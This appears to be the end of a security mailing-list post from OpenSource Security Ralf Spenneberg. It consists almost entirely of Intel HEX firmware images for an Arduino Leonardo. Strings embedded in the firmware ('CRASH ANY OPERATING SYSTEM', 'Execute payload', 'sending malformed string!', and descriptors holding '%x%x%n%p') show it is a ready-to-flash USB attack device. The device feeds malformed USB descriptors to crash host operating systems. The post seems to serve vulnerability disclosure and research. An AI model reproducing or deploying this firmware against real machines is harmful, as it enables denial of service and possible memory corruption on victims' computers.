:100D8000AF909F908F900895F8940C94A809AEE0CE
:100D9000B0E0EDECF6E00C947F098C01CA0146E06E
:100DA0004C831A83098377FF02C060E070E86150CA
:100DB00071097E836D83A901BC01CE0101960E9459
:100DC000F3064D815E8157FD0AC02F813885421799
:100DD00053070CF49A01F801E20FF31F10822E96CC
:100DE000E4E00C949B09ACE0B0E0E9EFF6E00C9491
:100DF00071097C016B018A01FC01178216828381D3
:100E000081FFBDC1CE0101964C01F7019381F6012E
:100E100093FD859193FF81916F01882309F4ABC104
:100E2000853239F493FD859193FF81916F0185326D
:100E300029F4B70190E00E94DB08E7CF512C312C58
:100E400020E02032A0F48B3269F030F4803259F087
:100E5000833269F420612CC08D3239F0803339F44B
:100E6000216026C02260246023C0286021C027FDA5
:100E700027C030ED380F3A3078F426FF06C0FAE08C
:100E80005F9E300D1124532E13C08AE0389E300D22
:100E90001124332E20620CC08E3221F426FD6BC14A
:100EA000206406C08C3611F4206802C0883641F4F4
:100EB000F60193FD859193FF81916F018111C1CF5F
:100EC000982F9F7D9554933028F40C5F1F4FFFE3BC
:100ED000F9830DC0833631F0833771F0833509F023
:100EE0005BC022C0F801808189830E5F1F4F4424BC
:100EF0004394512C540115C03801F2E06F0E711C5F
:100F0000F801A080B18026FF03C0652D70E002C00B
:100F10006FEF7FEFC5012C870E94D0082C01830161
:100F20002C852F77222E17C03801F2E06F0E711C2E
:100F3000F801A080B18026FF03C0652D70E002C0DB
:100F40006FEF7FEFC5012C870E94C5082C012C850F
:100F50002068222E830123FC1BC0832D90E04816BD
:100F60005906B0F4B70180E290E00E94DB083A94A1
:100F7000F4CFF50127FC859127FE81915F01B70130
:100F800090E00E94DB0831103A94F1E04F1A5108CA
:100F90004114510471F7E5C0843611F0893639F5F2
:100FA000F80127FF07C060817181828193810C5F06
:100FB0001F4F08C060817181882777FD8095982F29
:100FC0000E5F1F4F2F76B22E97FF09C09095809528
:100FD000709561957F4F8F4F9F4F2068B22E2AE00A
:100FE00030E0A4010E940D09A82EA81844C085373E
:100FF00029F42F7EB22E2AE030E025C0F22FF97FAF
:10100000BF2E8F36C1F018F4883579F0B4C0803720
:1010100019F0883721F0AFC02F2F2061B22EB4FE17
:101020000DC08B2D8460B82E09C024FF0AC09F2FED
:101030009660B92E06C028E030E005C020E130E01F
:1010400002C020E132E0F801B7FE07C06081718183
:10105000828193810C5F1F4F06C06081718180E0A7
:1010600090E00E5F1F4FA4010E940D09A82EA81842
:10107000FB2DFF77BF2EB6FE0BC02B2D2E7FA514A8
:1010800050F4B4FE0AC0B2FC08C02B2D2E7E05C061
:101090007A2C2B2D03C07A2C01C0752C24FF0DC097
:1010A000FE01EA0DF11D8081803311F4297E09C013
:1010B00022FF06C07394739404C0822F867809F0CF
:1010C000739423FD13C020FF06C05A2C731418F428
:1010D000530C5718732C731468F4B70180E290E036
:1010E0002C870E94DB0873942C85F5CF731410F4C1
:1010F000371801C0312C24FF12C0B70180E390E003
:101100002C870E94DB082C8522FF17C021FF03C01B
:1011100088E590E002C088E790E0B7010CC0822F1C
:10112000867859F021FD02C080E201C08BE227FDE4
:101130008DE2B70190E00E94DB08A51438F4B701F6
:1011400080E390E00E94DB085A94F7CFAA94F40160
:10115000EA0DF11D8081B70190E00E94DB08A1102B
:10116000F5CF332009F451CEB70180E290E00E9420
:10117000DB083A94F6CFF7018681978102C08FEFA2
:101180009FEF2C96E2E10C948D09FC0105906150D3
:1011900070400110D8F7809590958E0F9F1F08958D
:1011A000FC016150704001900110D8F78095909536
:1011B0008E0F9F1F08950F931F93CF93DF93182FC8
:1011C000092FEB018B8181FD03C08FEF9FEF20C0C2
:1011D00082FF10C04E815F812C813D8142175307F1
:1011E0007CF4E881F9819F012F5F3F4F3983288389
:1011F000108306C0E885F985812F0995892B29F789
:101200002E813F812F5F3F4F3F832E83812F902F71
:10121000DF91CF911F910F910895FA01AA272830ED
:1012200051F1203181F1E8946F936E7F6E5F7F4FB3
:101230008F4F9F4FAF4FB1E03ED0B4E03CD0670F2F
:10124000781F891F9A1FA11D680F791F8A1F911D82
:10125000A11D6A0F711D811D911DA11D20D009F4D2
:1012600068943F912AE0269F11243019305D319314
:10127000DEF6CF010895462F4770405D4193B3E0FD
:101280000FD0C9F7F6CF462F4F70405D4A3318F0A4
:10129000495D31FD4052419302D0A9F7EACFB4E055
:1012A000A6959795879577956795BA95C9F700970D
:1012B0006105710508959B01AC010A2E06945795AE
:1012C000479537952795BA95C9F7620F731F841F05
:1012D000951FA01D0895EE0FFF1F0590F491E02DBE
:1012E00009942F923F924F925F926F927F928F92CA
:1012F0009F92AF92BF92CF92DF92EF92FF920F93A5
:101300001F93CF93DF93CDB7DEB7CA1BDB0B0FB6AE
:10131000F894DEBF0FBECDBF09942A88398848886B
:101320005F846E847D848C849B84AA84B984C88401
:10133000DF80EE80FD800C811B81AA81B981CE0FF8
:10134000D11D0FB6F894DEBF0FBECDBFED010895DD
:04135000F894FFCF3F
:101354001201000200000040AD0BEFBE00010102CB
:1013640000012203420061006400200042004100A9
:1013740042004500250078002500780025006E0015
:10138400250070001803420041004400200043007F
:1013940030004600460045004500210012010002CD
:1013A400FF0000407104020600010102030109026A
:1013B4001B0001010000FA480100500072006F0098
:1013C4006C006900660069006300000A55000000B3
:1013D4006BFD180A00809F0AB901312B940A810120
:1013E4001289460013000257028B0A5E0AF80A5F4C
:1013F40001F212010002010000400D055702000134
:1014040001020301B90A0100F80A5F0A810A2203F2
:101414004200610064002000420041004200450097
:10142400250078002500780025006E002500700056
:1014340018034200410044002000430030004600ED
:101444004600450045002100120100020100004051
:101454000D05570200010102030109040000030104
:1014640000000003F20AEC0A09022700010100004F
:10147400FA01AB0A0904000003010000000902009C
:1014840020202020205F5F5F5F5F5F5F5F20202060
:101494002020202020202020202020202020202048
:1014A400202020202020205F5F5F5F5F205F5F207F
:1014B400205F2020202020205F5F0A0D00202020B4
:1014C400202F205F5F5F5F2F202F5F20205F5F5FF3
:1014D4005F205F5F5F5F5F20205F5F5F5F5F202053
:1014E4002020202F205F5F5F2F2F202F5F285F2970
:1014F4005F5F5F5F2F202F5F5F0A0D002020202F8A
:10150400202F2020202F205F5F205C2F205F5F2072
:10151400602F205F5F205C2F205F5F5F2F5F5F5F26
:101524005F205C5F5F205C2F205F5F2F202F205F98
:101534005F5F2F202F2F5F2F0A0D0020202F202FD9
:101544005F5F5F2F202F202F202F202F5F2F202F32
:10155400202F5F2F20285F5F2020292F5F5F5F2FC0
:10156400205F5F2F202F202F5F2F202F202F5F5FE2
:101574002F202C3C0A0D0020205C5F5F5F5F2F5FF3
:101584002F202F5F2F5C5F5F2C5F2F5C5F5F5F5F9F
:101594002F5F5F5F5F2F20202020202F5F5F5F5F22
:1015A4002F5C5F5F2F5F2F5C5F5F5F2F5F2F7C5F20
:1015B4007C0A0D00203C3C204348524153482041C2
:1015C4004E59204F5045524154494E472053595388
:1015D40054454D203E3E0A0D00203C3C2028632902
:1015E4002053657267656A20536368756D696C6F13
:1015F40020323031352C204F70656E536F75726315
:10160400652053656375726974792052616C662034
:101614005370656E6E6562657267203E3E0A0D000A
:101624000A3E3E20507265737320627574746F6E47
:1016340020746F20737461727420657865637574A7
:10164400696F6E2E2E2E0A0D005B44454255475D90
:101654002045786563757465207061796C6F616489
:1016640020300A0D00526563762D446174613A0A94
:101674000D005B44454255475D200953656E642067
:10168400436F6E66696775726174696F6E446573E2
:1016940063726970746F720928696E6465783A259B
:1016A40069292E2E2E0D0A005B44454255475D20C4
:1016B4000953656E6420496E7465726661636520C2
:1016C40044657363726970746F720928696E746516
:1016D40072666163653A2569292E2E2E0D0A005B18
:1016E40044454255475D200953656E6420456E6448
:1016F400706F696E742044657363726970746F727D
:101704000928656E64706F696E743A2569292E2EF6
:101714002E0D0A005B44454255475D203C3C7061F8
:101724006E6963206D6F64653F3E3E0D0A005B4445
:10173400454255475D2009203E3E20537472696E30
:10174400672044657363726970746F722072657187
:1017540075657374202D2073656E64696E67206DE2
:10176400616C666F726D656420737472696E672153
:101774002073657475702E7756616C75654C203DC9
:101784003D2025690D0A005B48455844554D505D80
:0A1794000A0D002530325820000035
:00000001FF


Arduino Leonardo Firmware #2:

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94D6050C944104A6
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C942002AF
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C5001D032003DE
:1000B00013031703410341034103240328032C03C3
:1000C0003203360341033C030000000200080E0027
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E8EFF3E102C005900D92A035B107D0
:10017000D9F725E0A0E5B5E001C01D92AB36B20786
:10018000E1F70E94C8000C9416070C940000089533
:10019000CF93DF93CDB7DEB7C95AD1090FB6F89424
:1001A000DEBF0FBECDBF0E94B3020E94C70060E059
:1001B00083E00E94420361E087E00E94420361E025
:1001C00088E00E9442030E946B064E014EE9840EB5
:1001D000911C84E093E0D40111969C938E9389E066
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0008E010F5F1F4FD80101900D928A95E1F794
:1002000088E1E4E3F1E0DE01DF9601900D928A954A
:10021000E1F782E1ECE4F1E0DE01A95ABF4F019081
:100220000D928A95E1F789E0EEE5F1E0DE01A9574C
:10023000BF4F01900D928A95E1F79E0122583F4FE2
:1002400099E0792EF901472D11924A95E9F7CE01EF
:100250008B589F4FDC01E72D1D92EA95E9F77E014F
:10026000F7E9EF0EF11C47E0E7E6F1E0D701019076
:100270000D924A95E1F7BE0160577F4F47E0E7E6F0
:10028000F1E0DB0101900D924A95E1F75E0146EA4B
:10029000A40EB11C47E050E0D5014D935C936E0174
:1002A000B2EACB0ED11CF60151834083AE014D5D05
:1002B0005F4FECE1DA011D92EA95E9F76624639459
:1002C0006CA66AAEF901708224E0522E5182DA01E6
:1002D000272D01900D922A95E1F79E0128553F4F59
:1002E0003EA72DA7B8AAAFA6DC017C9211965C921E
:1002F000119712966C921297FC01A454B109872DA4
:1003000001900D928A95E1F7FE01EC55FF4FFCAF8D
:10031000EBAFDEAECDAED901ED92FC92718360837E
:100320007E01B9E6EB0EF11C8CE0F70111928A9583
:10033000E9F782E0D70119968C931997FE01E957E6
:10034000FF4F01900D927A94E1F7F70153874287AE
:1003500061E088E00E947B0387E392E00E947706D9
:1003600084E792E00E94770683EB92E00E94770692
:1003700082EF92E00E9477068EE293E00E94770679
:100380008BE693E00E94770680E993E00E9477066F
:1003900087ED93E00E94770683E00E94B103892BEA
:1003A00009F047C06E01FFE3CF0ED11CAA24A3942D
:1003B00082E1B82E80E094E00E947706DF92CF922F
:1003C0001F930F939F928F921F92AF92FF92EF9283
:1003D0008DB79EB742970FB6F8949EBF0FBE8DBFE4
:1003E000ADB7BEB71196FE01E95AFF4F8B2D0190B4
:1003F0000D928A95E1F789E595E00E94150668E877
:1004000073E180E090E00E948D0289E595E00E9412
:10041000600660E087E00E947B0368E873E180E0AB
:1004200090E00E948D020FB6F894DEBF0FBECDBFE4
:10043000C1CF6AE070E080E090E00E948D02ACCF16
:100440001F920F920FB60F9211242F933F938F9309
:100450009F93AF93BF938091510590915205A091C6
:100460005305B09154053091500523E0230F2D37EB
:1004700020F40196A11DB11D05C026E8230F0296A8
:10048000A11DB11D209350058093510590935205F5
:10049000A0935305B093540580915505909156054E
:1004A000A0915705B09158050196A11DB11D8093EB
:1004B000550590935605A0935705B0935805BF91E5
:1004C000AF919F918F913F912F910F900FBE0F9001
:1004D0001F9018953FB7F894809155059091560557
:1004E000A0915705B091580526B5A89B05C02F3F90
:1004F00019F00196A11DB11D3FBF6627782F892FE6
:100500009A2F620F711D811D911D42E0660F771FAA
:10051000881F991F4A95D1F70895CF92DF92EF92E5
:10052000FF92CF93DF936B017C010E946A02EB0183
:10053000C114D104E104F10479F00E946A026C1B39
:100540007D0B683E7340A0F381E0C81AD108E10832
:10055000F108C851DC4FECCFDF91CF91FF90EF90C5
:10056000DF90CF900895789484B5826084BD84B57F
:10057000816084BD85B5826085BD85B5816085BD9E
:10058000EEE6F0E0808181608083E1E8F0E01082B7
:10059000808182608083808181608083E0E8F0E0F8
:1005A000808181608083E1E9F0E0808182608083E6
:1005B000808181608083E0E9F0E0808181608083D8
:1005C000E1ECF0E0808184608083808182608083C0
:1005D000808181608083E3ECF0E0808181608083B2
:1005E000E0ECF0E0808182608083E2ECF0E08081EA
:1005F00081608083EAE7F0E080818460808380818D
:100600008260808380818160808380818068808334
:10061000089590E0FC013197EE30F10590F5EA5A2B
:10062000FF4F0C94BD09809180008F7703C08091AB
:1006300080008F7D80938000089584B58F7702C0FD
:1006400084B58F7D84BD0895809190008F7707C019
:10065000809190008F7D03C080919000877F809370
:10066000900008958091C0008F7703C08091C000F2
:100670008F7D8093C00008958091C200877F809312
:10068000C2000895CF93DF9390E0FC01EA51FF4F41
:100690002491FC01EC5FFE4F8491882349F190E0A6
:1006A000880F991FFC01E25CFE4FA591B491805D1B
:1006B0009E4FFC01C591D4919FB7611108C0F89479
:1006C0008C91209582238C93888182230AC062308A
:1006D00051F4F8948C91322F309583238C93888138
:1006E000822B888304C0F8948C91822B8C939FBFBB
:1006F000DF91CF9108950F931F93CF93DF931F92B4
:10070000CDB7DEB7282F30E0F901E853FF4F8491D1
:10071000F901EA51FF4F1491F901EC5FFE4F04918A
:100720000023C9F0882321F069830E9409036981AD
:10073000E02FF0E0EE0FFF1FE05DFE4FA591B491BA
:100740009FB7F8948C91611103C01095812301C06B
:10075000812B8C939FBF0F90DF91CF911F910F91B1
:100760000895CF93DF93282F30E0F901E853FF4F2E
:100770008491F901EA51FF4FD491F901EC5FFE4FEA
:10078000C491CC2391F081110E940903EC2FF0E079
:10079000EE0FFF1FEE5DFE4FA591B4912C912D231E
:1007A00081E090E021F480E002C080E090E0DF9101
:1007B000CF910895615030F02091F100FC01208329
:1007C0000196F8CF289884E68093690508951092E1
:1007D000E90010925D0510925C0590935B05809393
:1007E0005A050895FF920F931F93CF93DF93F82E2E
:1007F0008B01EA01BA01C8010E94B806F80120E0A5
:1008000030E08EEF2C173D0791F1F7FE02C0A49166
:1008100001C0A08160915C0570915D0540915A0511
:1008200050915B0564177507ACF49091E8009570E2
:10083000E1F39091E80092FD1CC0A093F100A0911B
:100840005C05B0915D051196AF73BB27AB2B11F41E
:100850008093E800A0915C05B0915D051196B0937E
:100860005D05A0935C052F5F3F4F3196CBCFC9014B
:1008700002C08FEF9FEFDF91CF911F910F91FF90FB
:1008800008951F920F920FB60F9211246F927F92CC
:100890008F929F92AF92BF92CF92DF92EF92FF9290
:1008A0000F931F932F933F934F935F936F937F9378
:1008B0008F939F93AF93BF93EF93FF93CF93DF9368
:1008C000CDB7DEB76297DEBFCDBF1092E900809151
:1008D000E80083FF46C168E0CE010A960E94DA0371
:1008E00082EF8093E8009A8597FF05C08091E80029
:1008F00080FFFCCF03C08EEF8093E800892F8076C5
:1009000009F023C18B85811105C01092F10010926E
:10091000F10020C1282F2D7F213009F41BC1853023
:1009200049F48091E80080FFFCCF8C85806880933B
:10093000E30010C1863009F0E1C02D8508891989CE
:10094000223009F0B3C0EC848E2D90E020915F0539
:1009500030916005821793070CF09FC00E94E70357
:100960001F92EF9289E294E09F938F930E949506E5
:100970008CE0E89E70011124E0916105F091620520
:10098000EE0DFF1D89E0DE01119601900D928A9512
:10099000E1F7C8010E94E70349E050E0BE016F5F44
:1009A0007F4F80E00E94F2030F900F900F900F9006
:1009B000C12CD12C612C712C3FE5A32E34E0B32E39
:1009C00046E9842E44E0942EE0916105F0916205A1
:1009D000EE0DFF1D818590E0681679060CF0BAC017
:1009E0007F926F92BF92AF920E949506E09161054F
:1009F000F0916205EE0DFF1D628573856C0D7D1D06
:100A000049E050E080E00E94F2030F900F900F90B9
:100A10000F9000E010E0E0916105F0916205EE0DAD
:100A2000FF1D0284F385E02DEC0DFD1D818590E016
:100A3000081719075CF51F930F939F928F920E94DE
:100A40009506E0916105F0916205EE0DFF1D0284AF
:100A5000F385E02DEC0DFD1DC801880F991FA485BD
:100A6000B585A80FB91F4D915C910284F385E02DE7
:100A7000E80FF91F6081718180E00E94F2030F5F2F
:100A80001F4F0F900F900F900F90C5CF8FEF681AE8
:100A9000780A8EE0C80ED11C97CF8BEC94E09F9320
:100AA0008F930E9495060F900F9058C0C8012A8B13
:100AB0000E94E7032A892130C1F0233009F04EC09B
:100AC0008C851F928F9385EE94E09F938F930E9465
:100AD000950642E050E06EE671E080E00E94F2038D
:100AE0000F900F900F900F9035C04091000150E093
:100AF00060E071E080E00E94F2032CC0873071F169
:100B0000883021F481E08093F10024C0893011F510
:100B1000937021F5EDE4F1E081E021E096E380932C
:100B2000E9002093EB0034913093EC009093ED00BA
:100B30008F5F3196843099F78EE78093EA001092A8
:100B4000EA008C8580935E0505C0888999890E949A
:100B5000E70304C08EEF8093E80003C081E2809336
:100B6000EB0062960FB6F894DEBF0FBECDBFDF91EB
:100B7000CF91FF91EF91BF91AF919F918F917F9115
:100B80006F915F914F913F912F911F910F91FF9026
:100B9000EF90DF90CF90BF90AF909F908F907F901D
:100BA0006F900F900FBE0F901F9018951F920F928D
:100BB0000FB60F9211248F939F938091E1001092B2
:100BC000E10083FF0FC01092E90091E09093EB00E9
:100BD0001092EC0092E39093ED0010925E0598E085
:100BE0009093F00082FF1AC080916A05882339F043
:100BF00080916A05815080936A05882369F080910D
:100C00006905882359F080916905815080936905B1
:100C1000811104C0289A02C05D9AF1CF9F918F91F3
:100C20000F900FBE0F901F901895CF93DF93CDB705
:100C3000DEB782E1FE013596A0E0B1E001900D92B1
:100C40008A95E1F78F89988D90936205809361056D
:100C5000898D9A8D9093600580935F058B8D9C8D17
:100C600090936805809367058D8D9E8D90936605A2
:100C7000809365058F8D98A190936405809363059B
:100C800010925E0581E08093D70080EA8093D800BF
:100C900082E189BD09B400FEFDCF61E070E080E033
:100CA00090E00E948D0280E98093D8008CE08093D0
:100CB000E2001092E000559A209ADF91CF910895BA
:100CC00081E08093E00008959091C80095FFFCCFEB
:100CD0008093CE0008951092CD0087E68093CC00DB
:100CE00088E18093C9008EE08093CA0008950F9335
:100CF0001F93CF93DF93EC018C01FE010190002044
:100D0000E9F73197EC1BFD0BC8018C1B9D0B8E176F
:100D10009F0730F4F80181918F010E946406EDCFA6
:100D2000DF91CF911F910F910895CF93DF93CDB7AE
:100D3000DEB7DA950FB6F894DEBF0FBECDBFFE0169
:100D4000EB5FFE4F419151919F0160E071E0CE0158
:100D500001960E941907CE0101960E947706D3954D
:100D60000FB6F894DEBF0FBECDBFDF91CF910895CF
:100D70008F929F92AF92BF92CF92DF92EF92FF92AB
:100D80000F931F93CF93DF9300D0CDB7DEB75B01F6
:100D90002EE335E03F932F9389839A830E94950633
:100DA0008981882E9A81992E0F900F9000E010E093
:100DB0008AE4E82E85E0F82E9DEFC92E93E0D92E27
:100DC0000A151B05E4F4F40181914F0190E09F9313
:100DD0008F93FF92EF920E9495060F5F1F4FC801FD
:100DE0008F7099270F900F900F900F90892B41F7DC
:100DF000DF92CF920E9495060F900F90E1CF8DEF7A
:100E000093E09F938F930E9495060F900F900F9001
:100E10000F90DF91CF911F910F91FF90EF90DF9096
:100E2000CF90BF90AF909F908F900895F8940C94BE
:100E3000FA09AEE0B0E0EFE1F7E00C94D1098C01E3
:100E4000CA0146E04C831A83098377FF02C060E041
:100E500070E8615071097E836D83A901BC01CE01E8
:100E600001960E9445074D815E8157FD0AC02F8182
:100E70003885421753070CF49A01F801E20FF31F6B
:100E800010822E96E4E00C94ED09ACE0B0E0EBE4C7
:100E9000F7E00C94C3097C016B018A01FC01178205
:100EA0001682838181FFBDC1CE0101964C01F701FD
:100EB0009381F60193FD859193FF81916F018823C2
:100EC00009F4ABC1853239F493FD859193FF81918B
:100ED0006F01853229F4B70190E00E942D09E7CF18
:100EE000512C312C20E02032A0F48B3269F030F408
:100EF000803259F0833269F420612CC08D3239F090
:100F0000803339F4216026C02260246023C0286029
:100F100021C027FD27C030ED380F3A3078F426FF86
:100F200006C0FAE05F9E300D1124532E13C08AE0F4
:100F3000389E300D1124332E20620CC08E3221F4E5
:100F400026FD6BC1206406C08C3611F4206802C0F7
:100F5000883641F4F60193FD859193FF81916F01ED
:100F60008111C1CF982F9F7D9554933028F40C5F49
:100F70001F4FFFE3F9830DC0833631F0833771F0E3
:100F8000833509F05BC022C0F801808189830E5F40
:100F90001F4F44244394512C540115C03801F2E0F2
:100FA0006F0E711CF801A080B18026FF03C0652D73
:100FB00070E002C06FEF7FEFC5012C870E9422090D
:100FC0002C0183012C852F77222E17C03801F2E0E7
:100FD0006F0E711CF801A080B18026FF03C0652D43
:100FE00070E002C06FEF7FEFC5012C870E941709E8
:100FF0002C012C852068222E830123FC1BC0832D0D
:1010000090E048165906B0F4B70180E290E00E94E3
:101010002D093A94F4CFF50127FC859127FE8191A3
:101020005F01B70190E00E942D0931103A94F1E080
:101030004F1A51084114510471F7E5C0843611F07C
:10104000893639F5F80127FF07C0608171818281F7
:1010500093810C5F1F4F08C060817181882777FDE5
:101060008095982F0E5F1F4F2F76B22E97FF09C0E5
:1010700090958095709561957F4F8F4F9F4F206819
:10108000B22E2AE030E0A4010E945F09A82EA81821
:1010900044C0853729F42F7EB22E2AE030E025C0E7
:1010A000F22FF97FBF2E8F36C1F018F4883579F012
:1010B000B4C0803719F0883721F0AFC02F2F2061DE
:1010C000B22EB4FE0DC08B2D8460B82E09C024FF53
:1010D0000AC09F2F9660B92E06C028E030E005C0F8
:1010E00020E130E002C020E132E0F801B7FE07C0A5
:1010F00060817181828193810C5F1F4F06C0608186
:10110000718180E090E00E5F1F4FA4010E945F0993
:10111000A82EA818FB2DFF77BF2EB6FE0BC02B2DD7
:101120002E7FA51450F4B4FE0AC0B2FC08C02B2DCB
:101130002E7E05C07A2C2B2D03C07A2C01C0752C75
:1011400024FF0DC0FE01EA0DF11D8081803311F4F2
:10115000297E09C022FF06C07394739404C0822FB5
:10116000867809F0739423FD13C020FF06C05A2C23
:10117000731418F4530C5718732C731468F4B701D4
:1011800080E290E02C870E942D0973942C85F5CF86
:10119000731410F4371801C0312C24FF12C0B701AA
:1011A00080E390E02C870E942D092C8522FF17C038
:1011B00021FF03C088E590E002C088E790E0B70116
:1011C0000CC0822F867859F021FD02C080E201C058
:1011D0008BE227FD8DE2B70190E00E942D09A51456
:1011E00038F4B70180E390E00E942D095A94F7CFBC
:1011F000AA94F401EA0DF11D8081B70190E00E94EC
:101200002D09A110F5CF332009F451CEB70180E2AA
:1012100090E00E942D093A94F6CFF70186819781DC
:1012200002C08FEF9FEF2C96E2E10C94DF09FC01E6
:101230000590615070400110D8F7809590958E0F01
:101240009F1F0895FC016150704001900110D8F774
:10125000809590958E0F9F1F08950F931F93CF93A6
:10126000DF93182F092FEB018B8181FD03C08FEFD6
:101270009FEF20C082FF10C04E815F812C813D8195
:10128000421753077CF4E881F9819F012F5F3F4F9C
:1012900039832883108306C0E885F985812F099555
:1012A000892B29F72E813F812F5F3F4F3F832E836C
:1012B000812F902FDF91CF911F910F910895FA0107
:1012C000AA27283051F1203181F1E8946F936E7F85
:1012D0006E5F7F4F8F4F9F4FAF4FB1E03ED0B4E076
:1012E0003CD0670F781F891F9A1FA11D680F791FB7
:1012F0008A1F911DA11D6A0F711D811D911DA11DC8
:1013000020D009F468943F912AE0269F11243019D7
:10131000305D3193DEF6CF010895462F4770405D72
:101320004193B3E00FD0C9F7F6CF462F4F70405D21
:101330004A3318F0495D31FD4052419302D0A9F77C
:10134000EACFB4E0A6959795879577956795BA9576
:10135000C9F700976105710508959B01AC010A2E3C
:1013600006945795479537952795BA95C9F7620F13
:10137000731F841F951FA01D0895EE0FFF1F05907A
:10138000F491E02D09942F923F924F925F926F92C9
:101390007F928F929F92AF92BF92CF92DF92EF9205
:1013A000FF920F931F93CF93DF93CDB7DEB7CA1B86
:1013B000DB0B0FB6F894DEBF0FBECDBF09942A88B1
:1013C000398848885F846E847D848C849B84AA8459
:1013D000B984C884DF80EE80FD800C811B81AA81E6
:1013E000B981CE0FD11D0FB6F894DEBF0FBECDBFB1
:0813F000ED010895F894FFCF10
:1013F8001201000200000040AD0BEFBE0001010227
:101408000001220342006100640020004200410004
:1014180042004500250078002500780025006E0070
:1014280025007000180342004100440020004300DA
:101438003000460046004500450021001201000228
:10144800FF000040710402060001010203010902C5
:10145800290002010000FA07050102000201480103
:1014680000500072006F006C00690066006900633C
:1014780000000A550000006BFD180A00809F0AB999
:1014880001312B940A810112894600130002570288
:101498008B0A5E0AF80A5F01F212010002010000DD
:1014A800400D055702000101020301B90A0100F8C5
:1014B8000A5F0A810A220342006100640020004298
:1014C80000410042004500250078002500780025ED
:1014D800006E0025007000180342004100440020FF
:1014E8000043003000460046004500450021001238
:1014F800010002010000400D05570200010102032E
:101508000109040000030100000003F20AEC0A09C3
:1015180002270001010000FA01AB0A0904000003D8
:101528000100000009020020202020205F5F5F5F8B
:101538005F5F5F5F202020202020202020202020A7
:1015480020202020202020202020202020205F5F15
:101558005F5F5F205F5F20205F2020202020205FCA
:101568005F0A0D00202020202F205F5F5F5F2F2063
:101578002F5F20205F5F5F5F205F5F5F5F5F2020DE
:101588005F5F5F5F5F20202020202F205F5F5F2F3D
:101598002F202F5F285F295F5F5F5F2F202F5F5FFE
:1015A8000A0D002020202F202F2020202F205F5FD1
:1015B800205C2F205F5F20602F205F5F205C2F2042
:1015C8005F5F5F2F5F5F5F5F205C5F5F205C2F2046
:1015D8005F5F2F202F205F5F5F2F202F2F5F2F0A45
:1015E8000D0020202F202F5F5F5F2F202F202F201E
:1015F8002F202F5F2F202F202F5F2F20285F5F2085
:1016080020292F5F5F5F2F205F5F2F202F202F5F04
:101618002F202F202F5F5F2F202C3C0A0D00202029
:101628005C5F5F5F5F2F5F2F202F5F2F5C5F5F2CFA
:101638005F2F5C5F5F5F5F2F5F5F5F5F2F20202002
:1016480020202F5F5F5F5F2F5C5F5F2F5F2F5C5FE6
:101658005F5F2F5F2F7C5F7C0A0D00203C3C20439E
:10166800485241534820414E59204F504552415409
:10167800494E472053595354454D203E3E0A0D00CC
:10168800203C3C202863292053657267656A2053F3
:101698006368756D696C6F20323031352C204F705E
:1016A800656E536F757263652053656375726974EF
:1016B800792052616C66205370656E6E6562657242
:1016C80067203E3E0A0D000A3E3E20507265737345
:1016D80020627574746F6E20746F207374617274F5
:1016E80020657865637574696F6E2E2E2E0A0D005D
:1016F8005B44454255475D204578656375746520B0
:101708007061796C6F616420300A0D0052656376F0
:101718002D446174613A0A0D005B44454255475DAA
:10172800200953656E6420436F6E66696775726140
:1017380074696F6E44657363726970746F72092897
:10174800696E6465783A2569292E2E2E0D0A005B8C
:1017580044454255475D200953656E6420496E74BF
:101768006572666163652044657363726970746F3E
:10177800720928696E746572666163653A2569291C
:101788002E2E2E0D0A005B44454255475D20095315
:10179800656E6420456E64706F696E74204465736D
:1017A80063726970746F720928656E64706F696E10
:1017B800743A2569292E2E2E0D0A005B44454255A0
:1017C800475D203C3C70616E6963206D6F64653FC6
:1017D8003E3E0D0A005B44454255475D2009203EC8
:1017E8003E20537472696E67204465736372697032
:1017F800746F722072657175657374202D2073651E
:101808006E64696E67206D616C666F726D656420C9
:10181800737472696E67212073657475702E7756BC
:10182800616C75654C203D3D2025690D0A005B48BB
:10183800455844554D505D0A0D002530325820005A
:00000001FF
-- 
OpenSource Security Ralf Spenneberg         http://www.os-s.de
Am Bahnhof 3-5                          48565 Steinfurt         Germany
Fon:   +49(0)2552 638 755            Fax: +49(0)2552 638 757